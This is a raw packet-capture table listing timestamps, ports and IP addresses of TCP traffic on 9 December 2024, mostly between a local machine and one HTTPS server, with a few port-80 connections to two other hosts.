Dec 9, 2024 06:49:34.722852945 CET	443	49769	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.723361969 CET	49769	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:34.723393917 CET	443	49769	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.723814964 CET	49769	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:34.723820925 CET	443	49769	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.795500994 CET	443	49771	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.796032906 CET	49771	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:34.796084881 CET	443	49771	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.796463013 CET	49771	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:34.796473980 CET	443	49771	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.162612915 CET	443	49769	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.162772894 CET	443	49769	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.163356066 CET	49769	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.178088903 CET	49769	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.178126097 CET	443	49769	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.178139925 CET	49769	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.178148031 CET	443	49769	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.237751007 CET	443	49771	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.237812996 CET	443	49771	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.237884998 CET	49771	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.256279945 CET	49771	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.256314039 CET	443	49771	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.256330013 CET	49771	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.256336927 CET	443	49771	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.420156002 CET	49774	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.420202971 CET	443	49774	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.420299053 CET	49774	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.421010017 CET	49775	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.421058893 CET	443	49775	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.421149969 CET	49775	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.422614098 CET	49774	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.422626972 CET	443	49774	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.422852039 CET	49775	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.422868967 CET	443	49775	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.561086893 CET	443	49772	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.567858934 CET	49772	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.567884922 CET	443	49772	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.568591118 CET	49772	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.568595886 CET	443	49772	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.994831085 CET	443	49772	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.994911909 CET	443	49772	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.994987965 CET	49772	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.995235920 CET	49772	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.995259047 CET	443	49772	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.995270014 CET	49772	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.995282888 CET	443	49772	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.998204947 CET	49778	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.998301029 CET	443	49778	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:35.998490095 CET	49778	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.998686075 CET	49778	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:35.998711109 CET	443	49778	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:36.010251045 CET	443	49773	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:36.010761023 CET	49773	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:36.010813951 CET	443	49773	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:36.011285067 CET	49773	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:36.011296034 CET	443	49773	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:36.446363926 CET	443	49773	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:36.446433067 CET	443	49773	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:36.446481943 CET	49773	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:36.446660042 CET	49773	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:36.446675062 CET	443	49773	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:36.446708918 CET	49773	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:36.446715117 CET	443	49773	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:36.449206114 CET	49779	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:36.449230909 CET	443	49779	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:36.449357033 CET	49779	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:36.449852943 CET	49779	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:36.449867010 CET	443	49779	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.150116920 CET	443	49775	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.150290966 CET	443	49774	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.150613070 CET	49775	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.150651932 CET	443	49775	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.150695086 CET	49774	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.150721073 CET	443	49774	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.151145935 CET	49774	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.151151896 CET	443	49774	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.151218891 CET	49775	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.151226044 CET	443	49775	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.584531069 CET	443	49775	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.584597111 CET	443	49775	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.584652901 CET	49775	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.584930897 CET	49775	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.584949970 CET	443	49775	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.586388111 CET	443	49774	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.586502075 CET	443	49774	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.586647987 CET	49774	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.587651014 CET	49774	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.587661982 CET	443	49774	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.587675095 CET	49774	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.587680101 CET	443	49774	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.592545033 CET	49780	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.592586994 CET	443	49780	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.592657089 CET	49780	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.593446016 CET	49780	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.593461037 CET	443	49780	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.594206095 CET	49781	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.594223022 CET	443	49781	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.594291925 CET	49781	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.596561909 CET	49781	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.596575022 CET	443	49781	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.658723116 CET	443	49770	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.680840969 CET	49770	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.680867910 CET	443	49770	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.681308031 CET	49770	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.681317091 CET	443	49770	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.713359118 CET	443	49778	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.757647038 CET	49778	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.763613939 CET	49778	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.763628960 CET	443	49778	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:37.764287949 CET	49778	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:37.764305115 CET	443	49778	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.092922926 CET	443	49770	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.093005896 CET	443	49770	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.093086958 CET	49770	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.093336105 CET	49770	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.093336105 CET	49770	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.093362093 CET	443	49770	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.093373060 CET	443	49770	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.097356081 CET	49782	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.097408056 CET	443	49782	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.097490072 CET	49782	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.097697020 CET	49782	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.097708941 CET	443	49782	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.149293900 CET	443	49778	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.149374962 CET	443	49778	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.149430037 CET	49778	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.149566889 CET	49778	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.149586916 CET	443	49778	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.149597883 CET	49778	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.149604082 CET	443	49778	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.152420998 CET	49783	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.152461052 CET	443	49783	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.152535915 CET	49783	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.152713060 CET	49783	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.152724028 CET	443	49783	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.174865007 CET	443	49779	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.175359964 CET	49779	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.175410032 CET	443	49779	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.175875902 CET	49779	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.175894022 CET	443	49779	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.608720064 CET	443	49779	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.608808041 CET	443	49779	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.608867884 CET	49779	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.609035015 CET	49779	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.609061003 CET	443	49779	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.614032984 CET	49785	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.614083052 CET	443	49785	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:38.614160061 CET	49785	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.614733934 CET	49785	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:38.614748001 CET	443	49785	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.309099913 CET	443	49780	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.310169935 CET	49780	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.310185909 CET	443	49780	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.310656071 CET	49780	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.310661077 CET	443	49780	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.310662985 CET	443	49781	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.311120033 CET	49781	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.311129093 CET	443	49781	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.311480999 CET	49781	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.311487913 CET	443	49781	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.744518995 CET	443	49781	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.744599104 CET	443	49781	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.744641066 CET	49781	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.745843887 CET	443	49780	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.745922089 CET	443	49780	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.746098042 CET	49780	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.749237061 CET	49781	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.749258995 CET	443	49781	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.749373913 CET	49781	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.749381065 CET	443	49781	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.750591040 CET	49780	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.750613928 CET	443	49780	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.750633955 CET	49780	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.750641108 CET	443	49780	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.768886089 CET	49786	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.768920898 CET	443	49786	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.769056082 CET	49786	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.778019905 CET	49787	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.778070927 CET	443	49787	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.778126955 CET	49787	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.784780979 CET	49786	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.784805059 CET	443	49786	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.785113096 CET	49787	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.785145998 CET	443	49787	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.823183060 CET	443	49782	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.823745012 CET	49782	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.823796034 CET	443	49782	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.824281931 CET	49782	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.824289083 CET	443	49782	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.918989897 CET	443	49783	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.919929028 CET	49783	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.919951916 CET	443	49783	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:39.920344114 CET	49783	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:39.920355082 CET	443	49783	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.260375023 CET	443	49782	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.260462999 CET	443	49782	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.260821104 CET	49782	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.263092995 CET	49782	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.263124943 CET	443	49782	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.263335943 CET	49782	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.263345003 CET	443	49782	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.308902979 CET	49788	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.308943987 CET	443	49788	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.309194088 CET	49788	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.309382915 CET	49788	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.309393883 CET	443	49788	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.340069056 CET	443	49785	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.340540886 CET	49785	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.340572119 CET	443	49785	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.341001034 CET	49785	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.341007948 CET	443	49785	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.352861881 CET	443	49783	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.352945089 CET	443	49783	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.353770018 CET	49783	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.354130030 CET	49783	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.354154110 CET	443	49783	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.354166985 CET	49783	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.354175091 CET	443	49783	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.356703043 CET	49789	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.356751919 CET	443	49789	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.356976032 CET	49789	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.357109070 CET	49789	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.357120037 CET	443	49789	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.774005890 CET	443	49785	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.774080992 CET	443	49785	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.774666071 CET	49785	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.774703026 CET	49785	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.774703026 CET	49785	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.774719000 CET	443	49785	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.774729967 CET	443	49785	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.777535915 CET	49790	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.777569056 CET	443	49790	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:40.777637959 CET	49790	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.777818918 CET	49790	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:40.777828932 CET	443	49790	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.194638014 CET	80	49744	23.111.175.138	192.168.2.11
Dec 9, 2024 06:49:41.194811106 CET	49744	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:49:41.500472069 CET	443	49786	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.500991106 CET	49786	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.501008034 CET	443	49786	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.501763105 CET	49786	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.501770020 CET	443	49786	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.505085945 CET	443	49787	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.505502939 CET	49787	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.505533934 CET	443	49787	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.506135941 CET	49787	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.506148100 CET	443	49787	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.936794996 CET	443	49786	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.936852932 CET	443	49786	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.937002897 CET	49786	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.937235117 CET	49786	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.937236071 CET	49786	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.937247992 CET	443	49786	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.937256098 CET	443	49786	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.939973116 CET	49792	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.940004110 CET	443	49792	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.940124989 CET	49792	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.940201998 CET	49793	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:49:41.940289021 CET	49792	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.940304995 CET	443	49792	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.942738056 CET	443	49787	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.942806005 CET	443	49787	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.942965984 CET	49787	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.943001986 CET	49787	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.943016052 CET	443	49787	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.943030119 CET	49787	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.943033934 CET	443	49787	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.946223974 CET	49794	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.946250916 CET	443	49794	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:41.946333885 CET	49794	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.946472883 CET	49794	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:41.946486950 CET	443	49794	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.024274111 CET	443	49788	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.024807930 CET	49788	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.024827003 CET	443	49788	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.025218010 CET	49788	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.025223970 CET	443	49788	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.059407949 CET	80	49793	181.214.58.112	192.168.2.11
Dec 9, 2024 06:49:42.059511900 CET	49793	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:49:42.059791088 CET	49793	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:49:42.071846008 CET	443	49789	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.072412014 CET	49789	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.072439909 CET	443	49789	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.072844028 CET	49789	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.072849989 CET	443	49789	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.179028034 CET	80	49793	181.214.58.112	192.168.2.11
Dec 9, 2024 06:49:42.538728952 CET	443	49788	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.538743019 CET	443	49789	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.538784981 CET	443	49789	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.538809061 CET	443	49788	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.538929939 CET	49788	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.538930893 CET	49789	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.542077065 CET	443	49790	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.585771084 CET	49790	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.666450977 CET	49788	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.666482925 CET	443	49788	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.666516066 CET	49788	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.666524887 CET	443	49788	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.666562080 CET	49789	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.666608095 CET	443	49789	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.666666985 CET	49789	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.666672945 CET	443	49789	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.668673038 CET	49790	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.668680906 CET	443	49790	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.669070959 CET	49790	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.669075966 CET	443	49790	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.671536922 CET	49795	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.671583891 CET	443	49795	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.672162056 CET	49796	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.672183990 CET	443	49796	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.672199965 CET	49795	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.672229052 CET	49796	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.672354937 CET	49796	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.672364950 CET	443	49796	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.672454119 CET	49795	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.672466040 CET	443	49795	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.984123945 CET	443	49790	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.984194994 CET	443	49790	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.984241962 CET	49790	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.984391928 CET	49790	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.984404087 CET	443	49790	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.984420061 CET	49790	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.984424114 CET	443	49790	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.987690926 CET	49797	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.987715006 CET	443	49797	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:42.987785101 CET	49797	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.988049984 CET	49797	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:42.988059998 CET	443	49797	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:43.659167051 CET	443	49792	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:43.659782887 CET	49792	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:43.659796953 CET	443	49792	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:43.659888983 CET	443	49794	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:43.660259962 CET	49792	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:43.660271883 CET	443	49792	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:43.660811901 CET	49794	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:43.660823107 CET	443	49794	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:43.661201000 CET	49794	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:43.661205053 CET	443	49794	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.092895985 CET	443	49792	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.092952967 CET	443	49792	13.107.246.63	192.168.2.11
